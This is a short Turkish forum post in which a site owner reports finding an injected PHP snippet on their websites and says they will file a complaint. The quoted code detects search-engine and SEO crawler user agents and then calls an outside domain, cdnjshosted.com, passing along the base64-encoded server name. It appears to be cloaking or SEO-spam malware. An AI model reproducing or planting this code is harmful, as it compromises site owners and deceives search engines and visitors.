Aynısı benim sitelerimde var şikayet konusu acacagım sımdı.

<?php /* === MY_SNIPPET_START === */
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bot_agents = [
'Googlebot',
'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Googlebot-Mobile',
'Googlebot-News',
'Googlebot-Image',
'Googlebot-Video',
'AhrefsBot',
'AhrefsBot/7.0 (+http://ahrefs.com/robot/)',
'SemrushBot',
'SemrushBot-SA',
'SemrushBot-SI',
'Googlebot-Link',
'Google-Structured-Data-Testing-Tool',
'Googlebot-Link (+http://www.google.com/bot.html)'
];

foreach ($bot_agents as $bot) {
if (strpos($user_agent, $bot) !== false) {
$exe = curl_init();
curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
$url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
curl_setopt($exe, CURLOPT_URL, $url);
curl_exec($exe);
curl_close($exe);
break;
}
if (strpos($user_agent, $bot) !== false) {
$exe = curl_init();
curl_setopt($exe, CURLOPT_USERAGENT, $user_agent);
$url = "https://cdnjshosted.com/yd/" . base64_encode($_SERVER['SERVER_NAME']);
curl_setopt($exe, CURLOPT_URL, $url);
curl_exec($exe);
curl_close($exe);
break;
}
}
/* === MY_SNIPPET_END === */ ?>